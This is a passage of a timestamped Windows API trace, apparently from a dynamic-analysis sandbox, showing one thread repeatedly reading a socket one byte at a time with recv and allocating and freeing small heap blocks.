0x0 [0110.939] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.939] GetLastError () returned 0x0 [0110.939] GetCurrentThreadId () returned 0x9b0 [0110.939] GetLastError () returned 0x0 [0110.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0110.939] GetLastError () returned 0x0 [0110.939] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.939] GetLastError () returned 0x0 [0110.939] GetCurrentThreadId () returned 0x9b0 [0110.940] GetLastError () returned 0x0 [0110.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0110.940] GetLastError () returned 0x0 [0110.940] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.940] GetLastError () returned 0x0 [0110.940] GetCurrentThreadId () returned 0x9b0 [0110.940] GetLastError () returned 0x0 [0110.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881018 | out: hHeap=0x2ad0000) returned 1 [0110.940] GetLastError () returned 0x0 [0110.940] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.940] GetLastError () returned 0x0 [0110.940] GetCurrentThreadId () returned 0x9b0 [0110.940] GetLastError () returned 0x0 [0110.940] GetCurrentThreadId () returned 0x9b0 [0110.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0110.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0110.941] GetLastError () returned 0x0 [0110.941] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.941] GetLastError () returned 0x0 [0110.941] GetCurrentThreadId () returned 0x9b0 [0110.941] GetLastError () returned 0x0 [0110.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0110.941] GetLastError () returned 0x0 [0110.941] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.941] GetLastError () returned 0x0 [0110.941] GetCurrentThreadId () returned 0x9b0 [0110.941] GetLastError () returned 0x0 [0110.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0110.941] GetLastError () returned 0x0 [0110.942] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.942] GetLastError () returned 0x0 [0110.942] GetCurrentThreadId () returned 0x9b0 [0110.942] GetLastError () returned 0x0 [0110.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0110.942] GetLastError () returned 0x0 [0110.942] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.942] GetLastError () returned 0x0 [0110.942] GetCurrentThreadId () returned 0x9b0 [0110.942] GetLastError () returned 0x0 [0110.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0110.942] GetLastError () returned 0x0 [0110.942] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.943] GetLastError () returned 0x0 [0110.943] GetCurrentThreadId () returned 0x9b0 [0110.943] GetLastError () returned 0x0 [0110.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0110.943] GetLastError () returned 0x0 [0110.943] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.943] GetLastError () returned 0x0 [0110.943] GetCurrentThreadId () returned 0x9b0 [0110.943] GetLastError () returned 0x0 [0110.943] GetCurrentThreadId () returned 0x9b0 [0110.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0110.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0110.943] GetLastError () returned 0x0 [0110.943] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.944] GetLastError () returned 0x0 [0110.944] GetCurrentThreadId () returned 0x9b0 [0110.944] GetLastError () returned 0x0 [0110.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0110.944] GetLastError () returned 0x0 [0110.944] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.944] GetLastError () returned 0x0 [0110.944] GetCurrentThreadId () returned 0x9b0 [0110.944] GetLastError () returned 0x0 [0110.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0110.944] GetLastError () returned 0x0 [0110.944] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.944] GetLastError () returned 0x0 [0110.944] GetCurrentThreadId () returned 0x9b0 [0110.945] GetLastError () returned 0x0 [0110.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0110.945] GetLastError () returned 0x0 [0110.945] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.945] GetLastError () returned 0x0 [0110.945] GetCurrentThreadId () returned 0x9b0 [0110.945] GetLastError () returned 0x0 [0110.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0110.945] GetLastError () returned 0x0 [0110.945] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.945] GetLastError () returned 0x0 [0110.945] GetCurrentThreadId () returned 0x9b0 [0110.945] GetLastError () returned 0x0 [0110.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812b8 | out: hHeap=0x2ad0000) returned 1 [0110.946] GetCurrentThreadId () returned 0x9b0 [0110.946] GetLastError () returned 0x0 [0110.946] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.946] GetLastError () returned 0x0 [0110.946] GetCurrentThreadId () returned 0x9b0 [0110.946] GetLastError () returned 0x0 [0110.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0110.946] GetLastError () returned 0x0 [0110.946] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.946] GetLastError () returned 0x0 [0110.946] GetCurrentThreadId () returned 0x9b0 [0110.946] GetLastError () returned 0x0 [0110.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812b8 | out: hHeap=0x2ad0000) returned 1 [0110.946] GetLastError () returned 0x0 [0110.947] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.947] GetLastError () returned 0x0 [0110.947] GetCurrentThreadId () returned 0x9b0 [0110.947] GetLastError () returned 0x0 [0110.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0110.947] GetLastError () returned 0x0 [0110.947] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.947] GetLastError () returned 0x0 [0110.947] GetCurrentThreadId () returned 0x9b0 [0110.947] GetLastError () returned 0x0 [0110.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811b0 | out: hHeap=0x2ad0000) returned 1 [0110.947] GetLastError () returned 0x0 [0110.947] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.947] GetLastError () returned 0x0 [0110.947] GetCurrentThreadId () returned 0x9b0 [0110.948] GetLastError () returned 0x0 [0110.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0110.948] GetLastError () returned 0x0 [0110.948] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.948] GetLastError () returned 0x0 [0110.948] GetCurrentThreadId () returned 0x9b0 [0110.948] GetLastError () returned 0x0 [0110.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881210 | out: hHeap=0x2ad0000) returned 1 [0110.948] GetCurrentThreadId () returned 0x9b0 [0110.948] GetLastError () returned 0x0 [0110.948] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.948] GetLastError () returned 0x0 [0110.948] GetCurrentThreadId () returned 0x9b0 [0110.948] GetLastError () returned 0x0 [0110.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0110.949] GetLastError () returned 0x0 [0110.949] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.949] GetLastError () returned 0x0 [0110.949] GetCurrentThreadId () returned 0x9b0 [0110.949] GetLastError () returned 0x0 [0110.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0110.949] GetLastError () returned 0x0 [0110.949] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.949] GetLastError () returned 0x0 [0110.949] GetCurrentThreadId () returned 0x9b0 [0110.949] GetLastError () returned 0x0 [0110.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0110.949] GetLastError () returned 0x0 [0110.950] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.950] GetLastError () returned 0x0 [0110.950] GetCurrentThreadId () returned 0x9b0 [0110.950] GetLastError () returned 0x0 [0110.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0110.950] GetLastError () returned 0x0 [0110.950] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.950] GetLastError () returned 0x0 [0110.950] GetCurrentThreadId () returned 0x9b0 [0110.950] GetLastError () returned 0x0 [0110.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810c0 | out: hHeap=0x2ad0000) returned 1 [0110.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0110.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0110.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8d18 | out: hHeap=0x2ad0000) returned 1 [0110.951] GetCurrentThreadId () returned 0x9b0 [0110.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0110.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8fc0 [0110.951] GetLastError () returned 0x0 [0110.951] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.951] GetLastError () returned 0x0 [0110.951] GetCurrentThreadId () returned 0x9b0 [0110.951] GetLastError () returned 0x0 [0110.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0110.951] GetLastError () returned 0x0 [0110.951] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.951] GetLastError () returned 0x0 [0110.951] GetCurrentThreadId () returned 0x9b0 [0110.952] GetLastError () returned 0x0 [0110.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881168 | out: hHeap=0x2ad0000) returned 1 [0110.952] GetLastError () returned 0x0 [0110.952] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.952] GetLastError () returned 0x0 [0110.952] GetCurrentThreadId () returned 0x9b0 [0110.952] GetLastError () returned 0x0 [0110.952] GetCurrentThreadId () returned 0x9b0 [0110.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0110.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0110.952] GetLastError () returned 0x0 [0110.952] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.952] GetLastError () returned 0x0 [0110.952] GetCurrentThreadId () returned 0x9b0 [0110.953] GetLastError () returned 0x0 [0110.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0110.953] GetLastError () returned 0x0 [0110.953] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.953] GetLastError () returned 0x0 [0110.953] GetCurrentThreadId () returned 0x9b0 [0110.953] GetLastError () returned 0x0 [0110.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0110.953] GetLastError () returned 0x0 [0110.955] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.955] GetLastError () returned 0x0 [0110.955] GetCurrentThreadId () returned 0x9b0 [0110.955] GetLastError () returned 0x0 [0110.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0110.955] GetLastError () returned 0x0 [0110.955] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.955] GetLastError () returned 0x0 [0110.955] GetCurrentThreadId () returned 0x9b0 [0110.955] GetLastError () returned 0x0 [0110.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0110.956] GetLastError () returned 0x0 [0110.956] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.956] GetLastError () returned 0x0 [0110.956] GetCurrentThreadId () returned 0x9b0 [0110.956] GetLastError () returned 0x0 [0110.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881168 | out: hHeap=0x2ad0000) returned 1 [0110.956] GetLastError () returned 0x0 [0110.956] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.956] GetLastError () returned 0x0 [0110.956] GetCurrentThreadId () returned 0x9b0 [0110.956] GetLastError () returned 0x0 [0110.956] GetCurrentThreadId () returned 0x9b0 [0110.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811c8 [0110.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811c8 | out: hHeap=0x2ad0000) returned 1 [0110.956] GetLastError () returned 0x0 [0110.957] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.957] GetLastError () returned 0x0 [0110.957] GetCurrentThreadId () returned 0x9b0 [0110.957] GetLastError () returned 0x0 [0110.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811b0 | out: hHeap=0x2ad0000) returned 1 [0110.957] GetLastError () returned 0x0 [0110.957] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.957] GetLastError () returned 0x0 [0110.957] GetCurrentThreadId () returned 0x9b0 [0110.957] GetLastError () returned 0x0 [0110.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881120 | out: hHeap=0x2ad0000) returned 1 [0110.957] GetLastError () returned 0x0 [0110.957] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.957] GetLastError () returned 0x0 [0110.958] GetCurrentThreadId () returned 0x9b0 [0110.958] GetLastError () returned 0x0 [0110.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0110.958] GetLastError () returned 0x0 [0110.958] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.958] GetLastError () returned 0x0 [0110.958] GetCurrentThreadId () returned 0x9b0 [0110.958] GetLastError () returned 0x0 [0110.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881018 | out: hHeap=0x2ad0000) returned 1 [0110.958] GetLastError () returned 0x0 [0110.958] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.958] GetLastError () returned 0x0 [0110.958] GetCurrentThreadId () returned 0x9b0 [0110.958] GetLastError () returned 0x0 [0110.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0110.959] GetLastError () returned 0x0 [0110.959] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.959] GetLastError () returned 0x0 [0110.959] GetCurrentThreadId () returned 0x9b0 [0110.959] GetLastError () returned 0x0 [0110.959] GetCurrentThreadId () returned 0x9b0 [0110.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811b0 [0110.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811b0 | out: hHeap=0x2ad0000) returned 1 [0110.959] GetLastError () returned 0x0 [0110.959] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.959] GetLastError () returned 0x0 [0110.959] GetCurrentThreadId () returned 0x9b0 [0110.959] GetLastError () returned 0x0 [0110.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881168 | out: hHeap=0x2ad0000) returned 1 [0110.960] GetLastError () returned 0x0 [0110.960] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.960] GetLastError () returned 0x0 [0110.960] GetCurrentThreadId () returned 0x9b0 [0110.960] GetLastError () returned 0x0 [0110.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0110.960] GetLastError () returned 0x0 [0110.960] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.960] GetLastError () returned 0x0 [0110.960] GetCurrentThreadId () returned 0x9b0 [0110.960] GetLastError () returned 0x0 [0110.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0110.960] GetLastError () returned 0x0 [0110.960] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.961] GetLastError () returned 0x0 [0110.961] GetCurrentThreadId () returned 0x9b0 [0110.961] GetLastError () returned 0x0 [0110.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811b0 | out: hHeap=0x2ad0000) returned 1 [0110.961] GetLastError () returned 0x0 [0110.961] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.961] GetLastError () returned 0x0 [0110.961] GetCurrentThreadId () returned 0x9b0 [0110.961] GetLastError () returned 0x0 [0110.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0110.961] GetLastError () returned 0x0 [0110.961] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.961] GetLastError () returned 0x0 [0110.961] GetCurrentThreadId () returned 0x9b0 [0110.962] GetLastError () returned 0x0 [0110.962] GetCurrentThreadId () returned 0x9b0 [0110.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0110.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0110.962] GetLastError () returned 0x0 [0110.962] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.962] GetLastError () returned 0x0 [0110.962] GetCurrentThreadId () returned 0x9b0 [0110.962] GetLastError () returned 0x0 [0110.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811b0 | out: hHeap=0x2ad0000) returned 1 [0110.962] GetLastError () returned 0x0 [0110.962] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.962] GetLastError () returned 0x0 [0110.962] GetCurrentThreadId () returned 0x9b0 [0110.963] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.963] GetCurrentThreadId () returned 0x9b0 [0110.963] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.963] GetCurrentThreadId () returned 0x9b0 [0110.963] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.963] GetCurrentThreadId () returned 0x9b0 [0110.963] GetCurrentThreadId () returned 0x9b0 [0110.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8960 [0110.963] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.963] GetCurrentThreadId () returned 0x9b0 [0110.963] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.964] GetCurrentThreadId () returned 0x9b0 [0110.964] GetCurrentThreadId () returned 0x9b0 [0110.964] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.964] GetCurrentThreadId () returned 0x9b0 [0110.964] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.964] GetCurrentThreadId () returned 0x9b0 [0110.964] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.964] GetCurrentThreadId () returned 0x9b0 [0110.964] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.964] GetCurrentThreadId () returned 0x9b0 [0110.964] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.965] GetCurrentThreadId () returned 0x9b0 [0110.965] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.965] GetCurrentThreadId () returned 0x9b0 [0110.965] GetCurrentThreadId () returned 0x9b0 [0110.965] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.965] GetCurrentThreadId () returned 0x9b0 [0110.965] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.965] GetCurrentThreadId () returned 0x9b0 [0110.965] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.965] GetCurrentThreadId () returned 0x9b0 [0110.965] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.965] GetCurrentThreadId () returned 0x9b0 [0110.966] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.966] GetCurrentThreadId () returned 0x9b0 [0110.966] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.966] GetCurrentThreadId () returned 0x9b0 [0110.966] GetCurrentThreadId () returned 0x9b0 [0110.966] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.966] GetCurrentThreadId () returned 0x9b0 [0110.966] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.966] GetCurrentThreadId () returned 0x9b0 [0110.966] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.966] GetCurrentThreadId () returned 0x9b0 [0110.966] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.967] GetCurrentThreadId () returned 0x9b0 [0110.967] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.967] GetCurrentThreadId () returned 0x9b0 [0110.967] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.967] GetCurrentThreadId () returned 0x9b0 [0110.967] GetCurrentThreadId () returned 0x9b0 [0110.967] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.967] GetCurrentThreadId () returned 0x9b0 [0110.967] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.967] GetCurrentThreadId () returned 0x9b0 [0110.967] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.968] GetCurrentThreadId () returned 0x9b0 [0110.968] GetCurrentThreadId () returned 0x9b0 [0110.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e85a8 [0110.968] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.968] GetCurrentThreadId () returned 0x9b0 [0110.968] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.968] GetCurrentThreadId () returned 0x9b0 [0110.968] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.968] GetCurrentThreadId () returned 0x9b0 [0110.968] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.968] GetCurrentThreadId () returned 0x9b0 [0110.968] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.969] GetCurrentThreadId () returned 0x9b0 [0110.969] GetCurrentThreadId () returned 0x9b0 [0110.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881030 [0110.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881030 | out: hHeap=0x2ad0000) returned 1 [0110.969] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.969] GetCurrentThreadId () returned 0x9b0 [0110.969] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.969] GetCurrentThreadId () returned 0x9b0 [0110.969] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.969] GetCurrentThreadId () returned 0x9b0 [0110.970] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.970] GetCurrentThreadId () returned 0x9b0 [0110.970] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.970] GetCurrentThreadId () returned 0x9b0 [0110.970] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.970] GetCurrentThreadId () returned 0x9b0 [0110.970] GetCurrentThreadId () returned 0x9b0 [0110.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810c0 [0110.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810c0 | out: hHeap=0x2ad0000) returned 1 [0110.970] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.970] GetCurrentThreadId () returned 0x9b0 [0110.970] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.971] GetCurrentThreadId () returned 0x9b0 [0110.971] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.971] GetCurrentThreadId () returned 0x9b0 [0110.971] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.971] GetCurrentThreadId () returned 0x9b0 [0110.971] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.971] 